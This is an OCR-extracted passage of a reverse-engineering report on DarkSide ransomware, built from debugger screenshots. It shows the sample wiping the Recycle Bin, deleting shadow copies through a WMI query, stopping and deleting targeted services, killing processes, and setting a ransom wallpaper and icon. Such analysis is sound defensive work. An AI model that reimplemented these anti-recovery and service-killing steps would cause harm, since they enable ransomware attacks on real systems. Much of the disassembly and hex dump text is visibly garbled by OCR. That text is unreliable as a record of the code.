.text:8840416E loc_48418E:
Ltext:8848418E push esi
text:ae40418F call GetDriveTypel
Jtext:ee48411s> cmp eax, 3
Jtext:ead464118 jz short loc_4@8411F

I

text:00484114 crp
Ltext: 88484110 jnz

eax, 2
short loc_4@84125

[l e 55

LtextieededllF

.text:8840411F loc_48411F:
text:8ed4e411F push esi

text: 88484128 call sub_484136

il i =

Jtext:eed4edl2s

Jtewt: 06484125 loc 464125:

Ltext: 88484125 lea esi, [esi+8]
Ltewt: 28484128 dec ebx
Jtext:88484129 test ebw, ebx
.text:88484128 jnz short loc_48416E

I

Figure 54

All files and directories from Recycle Bin are deleted by the process. It starts to enumerate

via a FindFirstFileExW API call:

GA 00 push 0

6A 00 push 0

6A DO push o

BD B85 AD FB FF FF lea eax,dword ptr ss:Jebp-3co]
50 push eax

6A DO push

su 85 FO FD FF FF Tea eax,dword ptr ss

push eax

:[febp-210)
r-‘a‘!sncmunu

| €& dword prr d:[<aFindFirstFileExws]

NE/IW_4 35 (EmMPTY ) XS/ IW_% 3 [(EMPTY)
XETTW_E 3 (EmpTy) X87TW_7 3 (Empty)

x875tatusword D000

eax:L” X87SW_B O xBYSW C3 O xB875wC2 O
ABTSW_C1 O XB7SW.CO O xB7SW_ES O
XBTSW_SE O X8TSW_P O XB7TSW.U O

gax:L” |eeasou. o S———y_Y L ¥_ S
5 oerwt{suan ~[5 3]0 unlok

: [esp] 0019FBIC L°C:\\3Recycle. Bin\\5-

dword ptr {w&mmiil &FindFirstFileExw>]=<kernel32. FindFirstFileExw>

-Text: 0040419 darkside.exe:$419E #359E

2: [esp+4] 00000000
3: [esp+8] QO19FBCC
4: [espsC] D00DO000OOD
||5: [esp+10] 00000000

DOlSFDSC JCI DC 00 DJ
asne,

5C 00 0D 00[44 00 3A 00[5C 00 0O 00|@
DJ 00 00 00(FE FF FF FF|
24

% te nv e e nalae ae

Figure 55

@Woump1  @houwmp2 PMoump3  @MDump4  PMoumps @ watchi  bellecas Y Stuct
Address | Hex Imn B
0019FD4C |43 00 34 00 wanll

As presented below, the files are deleted using the DeleteFileW function, and the directories

are removed using the RemoveDirectoryW routine:

Pl b . FE 75 FO push dword ptr ss:[ebp-10)

b . FF 15 78 07 42 00 €&l dword ptr &R,

SN . FE 75 FO push dword ptr

ray F L 6A 00 push 0

1 . FF 35 86 03 31 00 push dword ptr

il . FF 15 50 06 42 00 €all dword ptr

Py . €7 45 FO 00 00 00 00 mov dword pTr s

b ~ EB 2 jmp darkside. 40
B

FF 75 F push dword ptr ss:febp-10]
1‘I Mrd ptr ds -(!_.D_e'le'_‘:’eFi‘lm]

[ebp-1 RO/ IM_<& 3 LEMpLY ) ResIN_3 3 LEMPLY )
. X87TW_4 3 (Empty) x87TW.S 3 (Empty)
febp-1 X87TW_6 3 (Empty) xB7TW_7 3 (Empty)

xB7Statusword 0000
MBTSW_B O xBTSW C3 0 x87SW C2 O

[word MBTSW.C1 O xB7TSW.CO 0 XB7SW_ES O

& XB87SW_SF 0 xB7Sw_P 0 xB7SW_U o

B | Beleumpaiioaliainlin

[ i e S T
| v

ke Defn.ll(srﬂcd] =[5 £ 1] urocke

-Text:0040446E darkside,exe: S446E #386E

Fiéuré 56

#5p] 02657688 L'C:\\SRECYCIE.B1N),\5-1-5-181\(
|2 Ees:HJ 00408280 <darkside, EntryPoint>

esp+8] 0019FD4C L"C:\\"

esp+C] DO19F204
s [esp+1D] 00000000

IEOFCITSE 02657688 | L"C:\\tRecvele. Binl\S-1-5-18\\ desktan. ini®
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The binary uses COM objects and WMI commands to delete volume shadow copies. It calls
the CoCreatelnstance function to create a single object of the class IWbemLocator with the
CLSID {dc12a687-737f-11cf-884d-00aa004b2e24} (Ref.
https://forum.powerbasic.com/forum/user-to-user-discussions/source-code/25222-wmi-
wrapper-functions):

. 50 push eax = % x@7statusword 0020
L FF 75 F4 push dword ptr ss:febp-Cl XB7SW_B O xB7TSW_ C3 0 xBTSW C2Z O
. 6A 01 DUS '. XETSW.C1 O xB7SW_CO O x87SW_ES O
. 6A 00 XB7TSW_SF 0 xBTSW_P 1 xB7SW_U o
I . FF 75 FB push ﬂword ptr sz :febp-5] S
B FF 15 A8 08 42 00 call dword ptr ds: -(&Cocreate!nstanc&] v P — = Ee———
e S 5 | Default (stcal) ~ [s_151[] unock
e e 1: [es O2EGOEFE
dword ptr [004208A8 <darkside.4CoCreateInstance>]=<combase.CoCreateInstances il 2: lesg] 00000000
3: [esp+8] 00000001
41 [espsC] 02660040
.TeXt: 00404551 darkside.exe:$4551 #3951 5: [esp+10] 0019FF44

@ D26E0EFE

@oup1  YHoump2  WDump3  WHoums  WHoumps  Bwachi  bellocls  J swct 00000000
—— I T | 0019FERS | 00000008
stsmm ﬂ.? A6 12 DC| 73 CF il 88 4D DTI MIJ -15 E 4| LI SI M. KL SI | OD19FESC | DD19FF44

Vaicnnan At ac 2a 16|4n i3 %A

Flgure 57

There is also a new IWbemContext interface with the CLSID {44aca674-e8fc-11d0-a07c-

00c04fb68820} (Ref. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-
wmi/3485541f-6950-4e6d-98cb-1ed4bb143441) created via a CoCreatelnstance function

call:

. 50 push eax ; = = xg7STatusword 0020
. FF 75 F4 push dword ptr ss:febp-cl) XBTSW_B 0O xB7SW.C3 0 xB7SW.CZ O
L 64 01 push 1 ME7SW L1 O xBTSW.CO O xB87SW_ES O
. 6A 00 push o XB7SW_SF O XB7SW_P 1 XB7SW_U 0O
L FF 75 F8 pu%"l! dworg pTr :ls ebp-50 . | =
. ca dwor. n‘:l’ <&CoCreateInstance> v
. — oefwtrswan >[5 #1100 unlock
_____ 1 [esp] 0D26600AD
Fm_ptr "[004208AB <darkside,&CoCreatelnstances=<combase, CoCreatelnstances 2: [espr4] 0DDDOOODO
3: [esp+8] 00000001
4: [espsC] D266OEFS
. TEXT: 00404588 darkside.exe: $4588 #3988 53 Egsgqg’] DO1SFF40
- p " " - = @ 02660040
% Dump 1 &% Dump 2 H=LD|.|'|D3 EYDump 4 B4 Dump 5 '!‘Wah:h‘l |x=| Locals 4 Struct D019FESD | DOOOOO00
_MﬂsLlr.Hg | ascrr I |~ | Go1oreas| o2ecaers
D2660EFS |74l A6 AC 44[FC EB DO 11]AD 7C 00 CO|4F 86 88 20|E|-Oden. |.A0%. | | ooisresc | ooisFFao

Flgure 58

Using the IWbemLocator object, the process calls the ConnectServer API to connect to the
local “ROOT\CIMV2” namespace and retrieves a pointer to a IWbemServices object, as
follows:

: push E&\M DRt XE7TW 4 3 (Empty) xB7TWS 3 (empty)
. push o X8TTW_6 3 (Empty) x87TW_7 3 (Empty)
- push 0
. push 0 xB75tatusord 0020
. push ) X87SW_B O XB7SW.C3 0 X87SW.E2 O
. pus XB7SW_C1 O XB7SW_.CO 0O XB7SW_ES O
. Dush gwﬁrd ptr ss:febp ==]] [ebp-& XSTSW.SF O XSTSWP 1 X87SWU 0O
- push dword ptr ss:febp-1 mazowca _a__vazonCa n amow - -
S | Eat1 4 per dei e a i M
» —— 5 | Default (stdcal) >[5 12]] uniod
— 1: [esp] D2658C78
[dword ptr [edx+C]=[wbenprox, GCADIO0EB]=wbemprox, 6CAD 2 [espr4] 02662900 L'ROOT)\CIMV2"
3i [esp+8] 00000000
. 43 tespvc] 00000000
-text: 00404695 darkside.exe:S4635 #3495 5: [esp+lD] 00000000
i F @ 02658078
Woump1  @PHoump2  Moump3  PHoump4  EHDumps @ wawhi  eellocals 2 Stuct OD19FE70 | 02662900 | L"RDOT\\CIMVZ"
Address | Hex ASCIE I 00156578 | 90000000
02662900 [5& 00 4F 00|4F 00 54 00|5C 00 43 00|49 00 4D 00|R.0.0.T. .C.I.‘;‘.! | [Fiaaeese L oaoons
02662910 5 00 AB AB AB AB AB AB | AB AB EE SRR 1p| DO19FES0 | 00000000

02662920 ¢ 0 00|62 A6 F& 2B|95 A7 0O
02662930 | L 10 56 .E_i_QZ-EE FE EE FE|EE FE g,
02562540 -_C 1\5 FS 36 30 &" JJ 18 |88 SE D3 7630 248 66 ﬂ_‘."l | .06.5..

Figure 59

There is a call to CoSetProxyBlanket performed by the ransomware, as described in the next
figure (OXA = RPC_C_AUTHN_WINNT — NTLMSSP, 0x3 = RPC_C_AUTHN_LEVEL_CALL
and 0x3 = RPC_C_IMP_LEVEL_IMPERSONATE):

00000000
DO19FESS 02662548
D019FESC | DO19FF3C
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00404669 ABIIMLT 3 LR S AGI ML 3 LEURLY ]
XBTTW_6 3 (Empty) x87TW_7 3 (Empty)

xB75tatusword 0020

X87SW_B O Xx875W.C3 0 Xx87SW.C2 O
XB7SW C1 0 xB7SW CO O xB7SW ES O
XBTSW_SF 0 XB7SW_P 1 XxB7SW.U O

004046CT

. Text:004046CA darkside.exe:$46CA #3ACA

@oump3 4 Dump 4

Flgure 60

The process executes the following SQL query “SELECT * FROM Win32_ShadowCopy” to
obtain an enumerator of all shadow copies, and then it deletes each of the shadow copy
objects via the Deletelnstance method:

push eax
push 0 x875tatusword 0020

push 30 XB7SW_B 0 xB7SW C3 0 xB7SW (2 O
push dword ptr xB75W_C1 0 xB87SW.CO O xB7Sw_ES O
1 x875W_U

004046F8
DO4046FC
DO4046FE
00404700

0266F1ED L"wWQL"
0267T01F8 L"SELECT * FROM win32_shadow
00000030

. text: 00404709 darkside. exe: $4709 #3809

!ﬂnnpi @Wowmpz @hoump3  PDump4

¥ bump 5

Figure 61
A list of all services and their status is retrieved by calling the EnumServicesStatusExW
function (0x30 = SERVICE_WIN32, 0x3 = SERVICE_STATE_ALL):

0040484D 00 push o x87Tagword FFFF

004048AF 00 push o

00404881 45 EC lea eax,dword prr ss:febp-14] ‘:gmwuz ; Emwyg ::gﬂ; ; Em}
00404584 sh eax X

s S g‘-lm en d ptr ss:[ebp-108 XB7TW_4 3 (EmpTy) X87TW.S 3 (Empry)

00404585 xB7TW_6 3 (Empty) xB7TW_7 3 (Empty)
00404883
00404860
004048BE
004048C0
004048C2
00404504

h r r z[febp-1:
pus dun d ptr ss:lfebp-10) xB7Statusword 000D

push 3 X87SW_B O x87SW.C3 0 xB87SW.C2 O
XB75W_C1 O xB7SW.CO 0O XxB7SW_ES 0O
XBTSW_SF O x87SW_P O xB875W_U O

TPERRTNCBEBLE

numservicesstatuse

0
push dword ptr ss: ebp- 4]
<&E

>[5 {20 unlock

L TexT:004048C7 darkside.exe: $48C7 #3CC7

WWoump1  WMDump2  HDump3  WYDump4 M Dumps

00410367 | 27 19 56 47|14 77 58 43|79 01 01|01 01 01X
0041037701 01 01 0101 01 01 01 (01 01 01 0101 02 01 18)..
9B 74 02 38(90 74 02 50(9E 74 02 AD|12 74 02 7O
3C 74 02 50140 7402 0|A1 74 02 38A3 74 02 18| <t.P t
39 74 02 00(00 00 00 FE|A3 74 02 D As_u_nz_mn“...ut ot
DD‘DDOD.'I.DD OODBZD?SDZN $.A. .

Flgure 62
Each service name is compared to the list that was decrypted at the beginning of the
analysis:

D04049CA TIL™ MB7SW_C1 0 XB7SW.CO O XxB7SW_ES O
004049CE _ push dword ptr 5 | xBYSW_SF 0 xB7SW_ P O x87SW U O

‘esp+4] D274A338 ysen
0274C6C8 &L"adobearmservice”

0040B2BD <darkside.EntryPoint
.TeXt:004049CE darkside.exe: §49CE #30CE Feraie ”

§oump2  GHDurp3  GDump4  Eloumps @ wathi | ellocas st

DO19FEEC 4L "adobearms
ﬂarks‘i de. Em:l‘yﬂﬂ nt

return to sechost.7629405F from sechost.76290:

rFETUrn to ﬂlrlc!!di 00404914 from darkside, 004
L"adobearmservice’

darkside. EntryPoint

darkside.EntryPoint

Flgure 63 N
The malware opens the targeted services by calling the OpenServiceW routine (0x10020 =
DELETE | SERVICE_STOP):

24/55



&8 20 00 01 00
FE 37
7; FC

push 10020
push dword ptr ds;:[edi]
] d ptr s febp-43

xXB7SW_C1 O xBFSW.CO O XB7TSW_ES O
XB7SW_SF O xBTSW_P O XxB7SW.U O

Servicews

02751184 L
00010020

: [esp+C] 0040828D <darkside.EntryPoint>
LTexT: 00404928 darkside.exe:$4928 #3028 : [esp+10] 0040B28D <darkside.EntryPoint>

%oump1  GDump2  Y4Dump3  EWDumpd  WUDumps @ watchi  bellocs ) Stuct
Figure 64

Every targeted service is stopped and deleted using ControlService and DeleteService, as
displayed in figure 65:

00404348 X/ STATUSWOrD LUUD
0040494C XB7SW_B 0 xBFSW L3 0 xXBTSWC2 O
0040434E ebp - 51 XB7SWC1 O xB7SW.CO O XB7SW ES O

4014 5% [<acontrolServices XBTSW_SF O xBTSW_P O xB7SW.U O

tjebp-
1 Qne‘lsteserv‘i:b]

00404957

00000001
0019FF24

00408280 <darkside.EntryPoint>
-Text: 00404951 darkside.exe: $4951 #3051 esp+10] 0D040B2ED dmkside.im¥y?n1m;

Bowo: [ Woeez | Wowss | Bomes | Mosos | Swat | i L s
Figure 65
The NtQuerySystemInformation API returns an array of
SYSTEM_PROCESS_INFORMATION structures (one for each process running on the
system, 0x5 = SystemProcessinformation):

00404A33
00404434
00404437
00404A3A

push eax ME7SW_B O NBYSW C3 0 xB7SWC2 O
push dword ptr ss:Qebp- X875W_C1 0 xB87SW_CO © xB7SW_ES O
nusn dword ptr ss:febp-C X87 0 xB7SW_P O xB7SW U O
push 5

G E0w

02754588
00000400

.TEXT:00404A3C darkside.exe: $4A3C #3E3C oo‘os;cm <darkside. EntryPoint>
@owmp1  §Moump2  @Dump3  UMDump4  BMoumps @ watch1  Ieellocals | $ Struct

D FO AD BAIOD FO AD BA|OD FO 0D FO AD BAIMD.2.0.°.0.%.0.°

Figure 66

Each process name is compared to the list that was decrypted in the beginning, as displayed
below:

o 00404848
®| oo40484C
s T

50
esp+B] 0D40B2BD <darkside.EntryPoints>
60

- TeXT:00404B4F darkside.exe: $4B4F #3F4F

WWoump1  @oump2 WMoump3  WWpump4  WWDumps @ watthi  bellocals 4 Struct S O
‘~ ] CO19FEFO darkside.EntryPoint
0274A100 00 71 00|6C 00 OO0 OO|6F 0D 72 00|61 OO 63 00|8.Q.1...0.F.4.C. 33}3553 mﬂ
0274A110(6C DO 65 00|00 00 6F 00|63 00 73 00(73 00 64 00(1.€...0.c.5.5.d. OO1SEEFC | E4E40000
0274A120|00 00 €4 00|62 00 73 00(6E 0D 6D 00|70 00 00 00|..d.b.S.A.M.p... 0013FE00 | D2754870
0274A130(73 00 79 00|6E 00 €3 00|74 00 69 00(6D 00 65 00(sS.y.n.c.t.i.m.e. FE SEET | nEDBANGN
T e R T e r io156208|aotorees
0274A160|73 DO 73 00|76 00 63 00|00 0D 78 00|66 DO 73 00|3.5.v.C.. . X.F.5. ggig::?ﬁ gg;g;&sg {E:u;:d‘!:IE darkside. 00404498 from darkside.Do4(
0274A170|73 D0 76 00|63 00 63 O0|6F 00 6E 00(00 00 60 00(S.V.C.C.0.M...M. | co13rr14 || DosoB2ED| dar ke ide. EntrypPoint
0274A180 |79 00 €4 00|65 00 73 00|68 00 74 00|6F 0O 70 00|y.d.e.s.k.t.0.p. | bo1see1s | oos08260| darkside. entryPoint
0274A190|73 00 65 00|72 0O 76 00|69 00 63 00|65 0D 00 0O|S.e.r.v.i.c.e... 0019FF1C || 50000000 "
0274A1A0|6F 00 63 00|61 00 75 00|74 D0 6F DO(75 00 70 00| 0.C.3.U.T.0.U.P.
0274A1B0| 64 00 73 00|00 00 €5 00(6E 00 63 00|73 00 76 00|d.S...E.A.C.5.V. ggig::ﬁﬂ ;gsﬁﬁ: TEEAED, 10 Kerhsthase. FEEREICY Trom Rernetoase:
0274A1C0| 63 DD 00 00|66 00 €9 00|72 00 €5 00(66 00 6F 00fc...f.i.r.e.f.o. 0019FF 25 || DO000OOL
0274A1D0|78 00 00 00|74 OO 62 00|69 00 72 00|64 DD 63 00|x...t.b.i.r.d.c. i Srrec | ooniontD
0274A1E0| 6F 00 6E 00|66 00 69 00|67 00 00 00(6D 00 79 00(o.n.f.i.9...m.y. DBlSFF‘ifJ 00000435
0274A1F0|64 00 65 00|73 00 6B 00|74 00 6F 00|70 00 71 00|d.e.s.k.t.0.p.q. 0013FF 24 | 00000000/
0274A200| 6F 0O 73 00|00 00 6F 00|63 00 6F 00(6D 00 60 00(@.S...0.c.o.m.m. antocranl aotaooso]
0274421000 00 64 00|62 00 00|6E 00 67 00(35 00 30 00|..d.b.e.n.g.5.0. 0015FF 3¢ || 00000000/
0274A220|00 DO 73 00|71 00 62 00|63 00 6F 00|72 0O 65 00|..5.Q.b.C.0.F.e. urtened B e | Bttt |
0274423073 0020015 DQZEDOEFBDD 5300§§ 002200 5.8 v.l.C<E<” wlc >

ngurg 67
For every targeted process, the binary opens the process and terminates it and all of its
threads:
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Ltext: 38484808 lea eax, [ebptClientId]
Ltext:B8484ADB push eax ; ClientId
Ltext:Bed84ADC lea eax, [ebptObjectittributes]
.text:88484ADF push eax 3 ObjectAttributes
.text:88484AE8 push i ; DesiredAccess
Ltext:884844E2 lea eax, [ebp+ProcessHandle]
text:8e484AES push eax ; ProcessHandle
text:ee4848E6 call NtOpenProcess
Ldext:8B4ABAAEC test eax, eax
Ltext:B8484AEE jnz short loc_484B84

I_+ |
Ltext:B8484AF8 push e ; ExitStatus
text:eeded4AF2 push [ebp+ProcessHandle] ; ProcessHandle

Ltext:eededsFs call
text:8ed484AFB push
Jtext:904e4AFE call

MtTerminateProcess
[ebp+ProcessHandle] ; Handle
MtClose

Figure 68

The binary creates an ico file c'alled <RansomPseudoValue>.ico, as displayed below:

68 80 00 00 OO

68 00 00 00 40
8
FF 15 2C 07 42

prr [0042072C

-text:D040109E darkside.exe:; S1ID9E #119E

push 0
push &

sh 300
usn dword p\:r 55 febp+5)
oo dword ptr ds: (xrznteﬁ'lewb]
mov dword ptr ss:febp- 3 .ed\
cmp dword ptr ss:febp-s,FFFFEFFF
je darkside. WI.DDG
push
Tea eax,dword ptr ss:[febp-c
push eax
push dword ptr ss

push dword ptr ebp+C
push dword ptr ebp- 3
00 EEN dword ptr ds:[<awriteFiles]

AB/TS UUUUUUUUUUUULUUULUUY 314 ETPLY U, UULLUULULY
X87r5 00000000000000000000 5TS Empty 0.00000000
X87r6 00000000000000000000 5TE Empty O.00000000
X87r7 00000000000000000000 ST7 EmpTy O.00000000

x87Tagword FFFF

XBTTW_D 3 (Empty)
X87TTW_2 3 (Empty)
XB7TW_4 3 (Empty)
XB7TW_6 3 (Empty)

[ebp+8 xB7Te_1 3 (Empty)
X8TTW_3 3 (Empty)
XB7TW_5 3 (Empty)
X87TW_7 3 (Empry)

x875tatusword 0000
X87SW_B O X87SW.C3 O
XB7SW_C1 0 xB7SW_CO O
X8TSW_SF 0 X8TSW_P O

o |— m
Default (stdcall)

1: [esp] DO19FD00 L'C:

XBTSW L2 O
NBTSW_ES
XETSW_U

-X-]

32.CreatefFiTew>

Figure 69

Woump:  @4oump2 WWDump3  @houmps  @houmps A watch1  Ieellocls 4 Stuct
Address | Hex ASCII 1 ~
02754588 bﬂ 00 01 00:05 00 40 40|00 00 01 00|20 00 28 42 (§.....8a,.... .(B
459 56 00|00 00 30 30|00 00 01 00|20 OO0 A8 25| ..V...00. . %
7E 42|00 0D 20 20|00 00 O1 00|20 OO0 AB 10|..~B.. .
52 2alnn An 19 18lAna an AT anlan an oo Ael am

esp+8] 00000000

2: [esp+4] 40000000
Lsp’c 00000000

[5: [espt 10] 00000002

A new registry key called <RansomPseudoValue> is created using the RegCreateKeyExW
function, as shown in figure 70:

nAaTEAEnE

Figure 70

D27545A8 EE FE EE FE|EE FE EE FE|(EE FE EE FE|EE FE EE FE|
02754588 | EE FE EE FE|EE FE EE FE(EE FE EE FE|EE FE EE FE
027545C8 EE FE EE FE[EE FE EE FE |EE FE EE FE EE FE EE FE

ee ee eclee ee e eclee ee e eelee e €2 £E

.........

A imow e Lemmenys  Awe m_s s sy
22 00 3::2 ,c‘u XB7TW_6 3 (Empty) XBTTW_7 3 (Empty)
68 06 01 02 00 push 20106
6A 00 push ¢ xE7STatusword 0000
€A 00 push XB7SW_B 0 xB7SW.C3 0 xB7SW.C2 0O
6A 00 push 0 5 XKE7SW_C1 O XB7SW.CO 0 x87SW_ES O
FF 75 08 push d«nrd ptr ss:febp+sj [ebp+8 XB7SW_SF O XB7SW_P 0 xB7SW_U o
&8 00 00 00 80 % ||||
FF 15 EC O7 42 00 I d ptr ds:[<aRegCreatexeyExw:>] | L4 =
e oy = Default (stdeall) sl | viDUriod
_— .1 [esp] 80000000
dword ptr [D03207EC <darkside.&RegireateKeyExw>J=<advapis2.Reglr eatekeyExws ||2 esp+4] DO4103E4 L",954eb300”
| : [esp+s uoomuu
4: [esp+C 00
. TeXT:00403000 darkside.exe: $3D00 #3100 |5: [esp+1D] oouonuuo
WWoump1  @oump2  WWoump3  @oump4  PMoumps @ warchi  ieeltocals ) stuet OO1SFCCC | O04103E4 | L™, 954eb300"
Address | Hex ggn | » | O19FCDO | 00000000
= - - ! 0019FCD4 | DOOO0O0D
uz?sasamm._m CB C6& 74 02[|EE FE EE FE|EE FE EE FE|M.S5.EAL.1p hip’i | 0013FCDS | 00000000
02754598 FE EE FE|EE FE EE FE|EE FE EE FE|EE FE EE FE ID'!D'!b'!DTD

The Defaulticon subkey is created, and it specifies the path for the newly created ico file:

[ Registry Editor
File Edit View Favortes Help
Cumputu\HKE\" CLASSES | ROOT\354eb900\Defaulticon

L [m] x

T-Zip.deb
7-Zip.dmg
v T-Finfat

Figure 71

~ | Name
8] (Default)

Type
REG_SZ

Data
C\ProgramData\954eb800.ico
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The malware calls the SHChangeNotify routine to notify the shell to update its icon cache
(0x08000000 = SHCNE_ASSOCCHANGED, 0x1000 = SHCNF_FLUSH):

HE/SW B U XE/SW LS U XB/WWLZ U
XB7SW_C1 0 XB7SW.CO 0 xB7SW_ES 0O
| X87SW_SF 0 xB7SW.P O XxB7SW U O

esp+C] 00000000
esp+10] 0D40828D <darkside.EntryPoint>

Ie=lLocals & Struct

WSoump2  WWoump3  $hDump4  Eoumps @ watch1

Figure 72
A new file called %PROGRAMDATA%\<RansomPseudoValue>.BMP is created using the
CreateFileW function:

TE ABIFA 9% F1 ARIEF EE 16 NAIOA 83 An AnlA G

00403986 &A 00 ush o AS/TE UUUUUUUULUULUUULULUY. 314 EMPLY U ULLLUUUUIUDL
00403988 &8 80 DO 00 00 :ush a0 ®87r3 00000000000000000000 ST3 Empty 0.00000000(
00403380 EA 04 push 4 x87r4 00000000000000000000 ST4 Empty 0.00000000(
004039B8F 6A 00 push 0 X87r5 40053A00000000000000 5TS Empty 77.0000000(
D04038C1 BA 00 push o xB7ré& 40038000000000000000 5T6 Empty 16.0000000(
004039C3 €8 00 00 0O 40 push 40000000 X87r7 40038000000000000000 STT EmpLy 16.0000000(
004033CE FF 75 CC ush dword

p-340 - iehEA!
reater agword FFFF
00403901 B3 45 FC HiRs rd

: :I.enx
00403304 83 g FC FF =5 £d ety +FEFFFFFF XB7TW_2 3 (Empty) x87TW_3 3 (Empty)

® | DO403308 ~ 78
D040390A Vagﬂlﬂﬂoﬂ s 6 3 (i V) X8 73 ¢ 3

00403 90F push 0

004039E1 BD 45 F4 Tea eax,dword ptr ss:febp-clf

DO4039E4 50 push eax eax:L” xE7STatusword 4020

DO4D39ES ush E XB7SW_B 0O xB7SW C3 1 xB7SwW C2 0O

6A OE
004039E7 8D B85 6C FF FF FF ea eax,dword ptr ss:febp-34) XB7SW_C1 O xB7SW.CO O xB7SW_ES O

004033ED 50 push eax eax:L"” XB7SW_SF O xB7SW_P 1 xB7SW_U O
004039EE FF 75 FC ush dword ptr ss:ftbp—ql
Ef }E 30 07 42 00 h dword ptr ds:[<&WriteFile=]

WWoump3 @Noump4  Whoumps A% watch1

4 Dump 2

Figure 73
Moving forward, there is a registry key opened by calling the RegCreateKeyExW API, as

shown in the next picture:

o 0os03280 64 00 ush 0~ Rt el

[ oo403a82 8D 45 F8 ea eax,dword ptr ss:flebp-sl XO7THD 3 (Cmpty)  xS7TTW.1 3 (Eepity)
o[ 00403485 so push eax X87TW.2 3 (EmpTy) X&7TW.3 3 (Empty)
o 00403488 €A 00 push 0 XE7TW 4 3 (Empty) xB7TW. 5 3 (Empty)
o[ 00403888 68 06 D1 02 00 push 20106 X87TW_6 3 (Empty)  x87TW_7 3 (Empty)
o || 0os03480 64 00 push o

o[ oo403a8F 6A 00 push o x875tatusword 4020

o[ oo403ac1 6A 00 ush 0 XB7SW_B 0 XB87SW.C3 1 XB87SW.E2 O
® (| no403ac3 8D B5 58 FD FF FF ea eax,dword ptr ss:flebp-zas) XB7SW_C1 O xB7TSW.CO O xB7SW ES O
& | 00403AC3 50 push eax XB7SW_SF O XB87SW_P 1 X8TSW.U O
o[ oo403acA push 80000003 L

+ TR c ; egCreatekeyE v

. | Defauit (stdcal) ~ |[5 1100 uniod

esp+4] DDLIFCAS L"S-1-5-21-1866265027-187085
00000000
«text:00403ACF darkside. exe: §3ACF #2ECF

@Woump1  @oump2 @oump3  @Dump4

D01SFECC |28 00 00 00|80 07 00 00|35 04 00 00
0019FEDC | 00 00 00 00|00 48 3F 00|00 00 00 00
D019FEEC | 0D 00 00 00|00 00 00 OO|00 D0 00 DO
O019FEFC |82 01 00 00|80 O7 00 00|38 04 00 00
O019FFOC |20 OC OS5 C4/C8 09 OS5 86|C4 OE 00 00
Antacesr lne Te 74 nalas Ae an aelen AT an oan

Figure 74
The “WallPaper” value inside the registry key is changed to the location of the newly created
BMP file:

RSSIW_i 3 LEMPLY)

00403AF0 51 pu:: 5:: . P : Ao/ IW_E 3 LEMRLY)
0O0403AFL FF 75 €C pus rd ptr ss:llebp-3 ebp-3
DO403AF4 €A 01 push 1 xB7Statusword 4020
DO403AFS [y X875W_B 0 x875W.C3 1 x875W.C2 O
DO403AFS FF 75 EO push dword ptr ss:ffebp-2: [ebp-2 XB7SW_C1 O XBFSW._CO O XB7SW_ES O
D0403AFE FF 75 FB push dword ptr ss:febp- XBTSW_SF O xBTSW_P 1 xB7SW_U O

03008 8 <o . 13 s - ==

04 TEST eax,eax v [F= -

+ S 2 S e s | Defeut ctdca) ~ 1[5 3] rkock

espt4] D2753E45 L-wallPaper
esp+8] 00000000

esp+C] 00000001
esp+10] 02747808 L"C:\\ProgramData'' 354eb300

-TEXT:00403AFE darkside. exe: §3AFE #2EFE

(oump ! WHDurp2  WHDump3  WDumed  Woumps @ werhi 1Mk

2 -
O019FECC 28 00 00 00[80 07 00 0038 04 00 00(0L 00 10 00| . ...c.8i0000s
0019FEDC | 0D 00 00 00|00 48 3F 00|00 OO0 0O DO(00 00 D0 00| ..... M. s

Figure 75
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After all of these activities, the Desktop has been changed to the following image:

Welcome to DarkSide!

All Your Files Are Encrypted!

Find README.954eb900.TXT And Follow Instructions!

Figure 76
Thread activity — sub_4095AB

The thread starts by decrypting the following information:

Address | Hex | asc1z

027 53EDD| E oD 0A 22!52 6F 74 EE'EA 7B 0D DA 22 76 65 72| {.."bot" VEFF]gure 77
02753E10| 22 3A 22 25|_3 22 2C OD|DA 22 75 59|E4 22 3A 12"'"%5", UTd" 2
02753EZ20|25 73 22 0D|DA 7D 2C UD:DA 25 73 OD|0OA FD 00D AB| %SF--}.-. L e |

The version of the Darkside ransomware is also decrypted and represents the latest version
analyzed in the wild (2.1.2.3):

Address | Hex | AsCII Figure 78
027435Ca8| 32 2E 31 2E|32 2E 33 OO|AB AB AB AB|AB AB AB AB|2.1.2.3.CeGaRaes

Another JSON structure is decrypted by the binary and will be used to collect data about the
local machine:

Address | Hex | A
027471A8| 22 00 &6F OO|72 00 22 0O0(3A OO 7E 0OO0|OD OO OA OO|™.
027471E8|22 00 6C 00|61 00 GE OO|67 OO 22 0D(3A 00 22 OO|"
027471C8 |25 00 73 00|22 00 2C OO(0D OO OA 00|22 00 75 00|%.
027471D8| 73 00 &> 00|72 00 6E 00|61 OO0 6D 0O0|65 0O 22 005
027471ES|3A OO 22 00|25 0O 73 DDiEE 00 2C 0O0(0D 00 OA OO :.
027471F8| 22 00 68 OO|6F OO 73 0OO|74 OO GE 00|61 OO0 &D OO ™
02747208|65 00D 22 OO|3A 00 22 00|25 00 73 00|22 OO 2C OO|e.
02747218|0D 00 OA 00|22 OO0 64 ODO|GF DD 6D 00|61 OO0 69 OD|....".
02747228 | 6E 00 22 00(3A 00 22 00|25 OO 73 00|22 00 2C 0O
02747235 (0D 00 DA 00|22 00 GF DD!?E 00 5F 00|74 00 79 00
02747248 |70 00 65 00|22 00 3A 00(22 OO 77 DO|62 00 GE 0O p
02747255 | 64 00 6F 00|77 00 73 00(22 OO 2C 00|0D OO OA 0O d.

i

a

=
o s

SO

=
Q =0

m
5
v. Figure 79
.

0274726822 00 6F 00|73 00 SF OO(76 DO 65 0O(72 00 73 DDE -
02747278| 69 00 6F OO|6GE 00 22 0O0|3A 00 22 00|25 00 73 DD"
02747288|22 00 2C 00|00 DD DA 00|22 00 6F 00|73 00 5F 00
02747298| 61 00 72 00|63 00 63 00|22 00 3A 00|22 00 25 OO|d.r.c.h.™.
D27472AB|73 00 22 00|2C 00 OD DO(0A OD 22 00|64 00 69 00|5.".,..... "
0274726573 00 6B 00|73 00 22 DDiSA 00 22 00|25 00 73 00|5.k.5.".:.".%.
027472C8| 22 00 2C 000D OO OA OO(22 OO &9 DD|E4 -2 | PR Dot il e
02747 jDSISA oo 22 DD|25 00 73 DD|j2 oo 0D DD|DA 00 7D DD-:.'.%.S FEnoo b k.

One more time, the process checks the type of the drives and is Iooklng for
DRIVE_REMOVABLE (0x2), DRIVE_FIXED (0x3) and DRIVE_REMOTE (0x4):
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FIZIE

Jtext:eedashdl

Ltext:8ed483,40 loc_488840:

text: 884832440 push esi
text:ee488,4E call GetDriveTypeW
Jext:eed4a8A54 cmp eax, 3
